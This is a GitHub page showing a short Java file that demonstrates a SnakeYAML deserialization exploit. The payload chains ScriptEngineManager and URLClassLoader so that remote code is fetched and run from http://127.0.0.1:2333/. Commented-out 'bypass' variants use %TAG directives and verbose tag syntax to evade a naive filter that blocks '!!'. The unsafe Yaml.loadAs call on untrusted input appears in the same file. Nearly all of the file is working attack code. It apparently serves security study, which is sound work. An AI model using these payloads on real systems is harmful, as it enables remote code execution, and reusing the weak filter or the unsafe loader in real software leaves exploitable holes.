FilesExpand file tree

 main

/

SnakeYaml.java

Copy path

Blame

More file actions

Blame

More file actions

Latest commit

 

History

History

History

35 lines (28 loc) · 1.2 KB

 main

/

SnakeYaml.java

Copy path

Top

File metadata and controls

• Code
• Blame

35 lines (28 loc) · 1.2 KB

Raw

Copy raw file

Download raw file

Open symbols panel

Edit and raw actions

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

package trick;

/**

* https://b1ue.cn/archives/407.html

*/

import org.yaml.snakeyaml.Yaml;

public class SnakeYaml {

public static void main(String[] args) {

String data = "!" +

"!javax.script.ScriptEngineManager [!" +

"!java.net.URLClassLoader [[!" +

"!java.net.URL [\"http://127.0.0.1:2333/\"]]]]";

//-------------------绕过-----------

//String data = "%TAG ! tag:yaml.org,2002:\n" +

// "---\n" +

// "!javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL [\"http://127.0.0.1:2333/\"]]]]";

//String data = "!<tag:yaml.org,2002:javax.script.ScriptEngineManager> "+

// "[!<tag:yaml.org,2002:java.net.URLClassLoader> [[!<tag:yaml.org,2002:java.net.URL>" +

// " [\"http://127.0.0.1:2333\"]]]]";

Object parse = SnakeYaml.parse(data,Object.class);

}

public static Object parse(String data,Class clazz){

if(data.indexOf("!!")!=-1){

throw new RuntimeException("error");

}

Yaml yaml = new Yaml();

return yaml.loadAs(data,clazz);

}

}